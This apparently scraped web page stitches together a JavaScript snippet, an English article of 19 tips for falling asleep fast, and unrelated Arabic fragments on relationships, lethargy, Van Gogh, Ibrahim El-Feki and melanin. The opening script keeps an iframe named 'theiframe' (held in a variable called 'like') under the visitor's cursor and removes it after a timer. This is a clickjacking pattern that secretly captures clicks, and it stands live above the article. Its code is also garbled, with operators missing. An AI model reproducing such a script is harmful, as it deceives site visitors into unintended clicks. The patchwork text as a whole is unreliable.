if((document.getElementById) && window.addEventListener || window.attachEvent){
(function(){
var hairCol = "#ff0000";
var d = document;
var my = -10;
var mx = -10;
var r;
var vert = "";
var idx = document.getElementsByTagName('div').length;
var thehairs = "";
document.write(thehairs);
var like = document.getElementById("theiframe");
document.getElementsByTagName('body')[0].appendChild(like);
var pix = "px";
var domWw = (typeof window.innerWidth == "number");
var domSy = (typeof window.pageYOffset == "number");
if (domWw)
r = window;
else{
if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
r = d.documentElement;
else{
if (d.body && typeof d.body.clientWidth == "number")
r = d.body;
}
}
if(time != 0){
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(like);
if (window.addEventListener){
document.removeEventListener("mousemove",mouse,false);
}
else if (window.attachEvent){
document.detachEvent("onmousemove",mouse);
}
}, time);
}
function scrl(yx){
var y,x;
if (domSy){
y = r.pageYOffset;
x = r.pageXOffset;
}
else{
y = r.scrollTop;
x = r.scrollLeft;
}
return (yx == 0) ? y:x;
}
function mouse(e){
var msy = (domSy)?window.pageYOffset:0;
if (!e)
e = window.event;
if (typeof e.pageY == 'number'){
my = e.pageY - 5 - msy;
mx = e.pageX - 4;
}
else{
my = e.clientY - 6 - msy;
mx = e.clientX - 6;
}
vert.top = my scrl(0) pix;
vert.left = mx pix;
}
function ani(){
vert.top = my scrl(0) pix;
setTimeout(ani, 300);
}
function init(){
vert = document.getElementById("theiframe").style;
ani();
}
if (window.addEventListener){
window.addEventListener("load",init,false);
document.addEventListener("mousemove",mouse,false);
}
else if (window.attachEvent){
window.attachEvent("onload",init);
document.attachEvent("onmousemove",mouse);
}
})();
}//End.
There are a few lucky people out there who have absolutely no trouble falling asleep at night. The minute their head hits the pillow, they’re out. The rest of us lie in bed staring at the ceiling, tossing and turning, counting sheep or minutes, or snore, waiting for the mercy of blessed sleep to come.
Lack of sufficient, good quality sleep takes a toll on nearly every aspect of our lives, everything from health, to mood, to safety, to job performance. The good news is…all is not lost. With a bit of knowledge, a bit of planning and a bit of patience, we can learn to fall asleep fast!
With that in mind, here are a total of 19 ways to fall asleep fast.
Daytime Sleep Enhancers
Exercise during the day – We all know exercise improves our health, but it also improves our sleep by reducing stress. The caveat, don’t exercise within 3 hours before bedtime. The adrenaline will keep you awake.
Limit beverages that interfere – We all know that caffeine makes it difficult to fall asleep, but we may not be aware that alcohol interferes as well, as does drinking too much water right before bedtime.
Avoid naps – Try not to nap if you possibly can. Sleeping during the day makes it difficult to fall sleep at night. If you absolutely must, limit naps to a power nap of 20 minutes.
Evening Sleep Helpers
Food is a factor – Have a light dinner. Heavy meals may be difficult to digest and indigestion may make it difficult to fall asleep. But don’t go to bed hungry. Hunger keeps you awake. Eat a light snack shortly before bedtime.
Turn off the TV and computer. – This kind of stimulation tells the brain to be alert when it’s supposed to be winding down and has been proven to reduce sleep quality.
Prep the Bedroom Atmosphere
Remove the electronics – Shut off the TV and remove computers and other electronic devices from your bedroom. They tempt you to engage in non-restful activities and keep you awake. The bedroom is for sleep, not work and surfing the internet.
Keep cool – You fall asleep faster and sleep better if the bedroom is cooler. A lower room temperature lowers core body temp, and helps you go to sleep. The ideal temperature for sleep is 65 degrees.
Dim the lights – Light, even a small amount interferes with sleep hormones and stimulates the brain. Wear an eye mask if necessary or turn the alarm clock around.
Turn it down – Eliminate noise, or alternatively if you find noise soothing or need to block noise you can’t control, choose calming sounds such white noise or ocean sounds. Wearing earplugs can also help block unwanted noise.
Aromatherapy – Aromatherapy sooths the body and have a calming effect. There are many scents available that can help you to relax and prepare for sleep, vanilla, lavender, marjoram, sandalwood are just a few examples. Use on your pillow, in the air or in the bath.
The Fall Asleep Fast Bedtime Routine
Same time every day – Start your bedtime routine at the same time each day and maintain a regular sleep time. It helps condition your body to fall asleep faster by creating a sleep habit and setting your circadian rhythm.
Try a bath – Take a warm bath before bedtime. It can help you relax and raising the body temperature, then cooling it in a low temperature room helps you to fall asleep faster.
Soothing beverage – Herbal tea or a glass of milk also relax the body and help you wind down.
Read – Read an entertaining or boring book. It helps to get your mind of worries and your to-do list. Stay away from stimulating or self-help books though; they rev up your brain.
Relax your body – try yoga or gentle stretching. Do progressive relaxation; tighten each muscle for a count of ten and then release. It will relax your body and minimize muscle aches and pains.
Relax your mind – Journal to let go of worry and busy thoughts. Try visualizing soothing images such clouds or a peaceful place; a garden or field or beach, whatever soothes you. It helps quiet the mind and release anxious thoughts.
Quality bedding – Get a comfortable, supportive mattress. It’s worth the investment, as you spend one third of your life in bed. Use comfortable soft sheets and comforter. Smooth, quality bedding helps sooth and relax your body to fall asleep faster.
Comfortable clothing – Wear loose, light, cool pajamas. Cotton works best as it minimizes nighttime seating. Alternatively, sleep without pajamas if it makes you more comfortable. Binding or hot PJs make for restless and uncomfortable sleep.
Watch your posture – Sleep position matters. Find a comfortable sleep position that supports good sleep posture. Make sure every part of your body is comfortable. Buy a good quality pillow that supports your neck and properly aligns your body. Side positions are usually better, but if back works for you that’s fins. Lie in the same position every night, so your body becomes accustomed to falling asleep in the same way.
Final Word
Falling asleep fast requires a bit of preparation, following a regular routine and paying attention to sleep comfort. However, these sleep details can make the difference between falling asleep faster and getting a restful night’s sleep or staring at the ceiling tiles.
Need more ideas to help you sleep? Try this related article: The Ultimate Trick to Sleep Better at Night
شخصية المرأة وشخصية الرجل متناقضتنان فكل منهما له افكارواحتياجات مختلفة حتى من ناحية ما يحبه كل شخص في الجنس الاخر يختلف ويتفاوت فيما بينهما ولكن على كل منهما ان يعلما مايحبه من صفات يجب توفرها في الاخر حتى يتجنبو الصفات غير المرغوب فيها وتنتشر بينهما الالفة والمودة وتدوم العلاقة بينهما بشكل جيد
وعند الحديث عن ما تحبه المراة في الرجل فان ذلك غير مختلف كثيرا من امراة لاخرى بعكس الرجل الذي يمكن ان تختلف الصفات فيما بينهما واكثر الصفات التي تفضلها المراة هي صفات داخلية بالرجل اي طريقة تعامله معها وحديثه واسلوبه وشخصيته اما الصفات الخارجيه في الرجل فهي مهمة ايضا ولكن ليس بذلك القدر الكبير فيمكن ان تحل الشخصية بدلا من الشكل عند المراة
فالمراة بشكل عام تحب الرجل الذي يهتم بها بشكل خاص ويفاجئها بمفاجأت صغيرة جميلة تبعث السعادة بقلبها فمثلا ان يفاجئها برسالة قصيرة ليعبر لها عن اهتمامه الشديد لها وايضا تعجب المراة بالرجل الذي ينصت لها ويستمع لمشاكلها وهمومها ويحاول ان يساعدها ويخفف عنها هذه المشاكل وكلما كان دعم الرجل للمراة اكبر ومساعدته لها في حياتها اكثر فذلك يعطي المرأة الشعور بالامان معه ويجعلها اكثر شعورا بالراحةوالحب وتقدره اكثر فكلما اعطيت المرأة حب واهتمام كلما بادلتك هي باهتمام وحب اكبرمن الذي قدمته لها
تقدر المراة الرجل الذي يضحي من اجل اسرته والرجل المثابر الذي يحاول ان يرتقي بحياته حتى لو كان الطريق صعب فنوعية هذه الرجال تنال اعجاب المراة بشكل كبير فهذا الرجل المضحي المجد في تطوير نفسه وحياته سوف يقدر ما بين يديه ولا يجعله كالرجال الطائشين الذين لا يبالون بشي فان الشخصية اللامبالية من الشخصيات التي تستفز المراة بشكل كبير تحب المراة الرجل الذي يثق بها ويؤمنها على اسراره فذلك يوضح لها مقدار المكانة التي تحتلها في قلبه وكما قلنا ان النواحي الخارجية غير مهمة كثيرا لان شكل الرجل لا يجذب المرأة بل فقط يمكن ان تعجب بها وذلك لا يعني ان يهمل الرجل نفسه بل ان يكون على قدر من الاناقة والرتابة ليحقق الجانبين سويا وبذل يكسب حب واحترام واخلاص وتضحية المراة له.
لخمول والكسل هي أحد الظواهر الشائعة الموجودة في المجتمع هذه الأيام ، فالكثير أصبح يشعر بأنهغير مهتم وغير نشيط ومتعب في أوقات مختلفة من اليوم . الخمول أو التعب يصنف على نوعين خمول بدني وهو الشعور بعدم القدرة على مواصلة العمل على مستوى قدرات فرد عادي ، وهناك الخمول الذهني
فينسنت فيليم فان غوخ كان رساماً هولندياً، مصنف كأحد فناني الانطباعية. تتضمن رسومه بعضاً من أكثر القطع شهرة وشعبية وأغلاها سعراً في العالم. عانى من نوبات متكررة من المرض العقلي — توجد حولها العديد من النظريات المختلفة — وأثناء إحدى هذه الحادثات الشهيرة، قطع جزء من أذنه اليمنى. كان من أشهر فناني التصوير التشكيلي. اتجه للتصوير التشكيلي للتعبير عن مشاعره وعاطفته. في آخر خمس سنوات من عمره رسم ما يفوق 800 لوحة زيتية.
إبراهيم محمد السيد الفقي، خبير التنمية البشرية والبرمجة اللغوية العصبية ورئيس مجلس إدارة المركز الكندي للتنمية البشرية ومؤسس ورئيس مجلس إدارة مجموعة شركات إبراهيم الفقي العالمية، واضع نظرية ديناميكية التكيف العصبي ونظرية قوة الطاقة البشرية.
الميلانين هي مادة صبغية بروتينية تُفرز من قبل خلايا تدعى الخلايا الطلائية وتكون في جلد الإنسان وكذلك في بصيلات الشعر وغيرها. تصنف في نوعين أساسيين: ـ الأسود ـ الأحمر
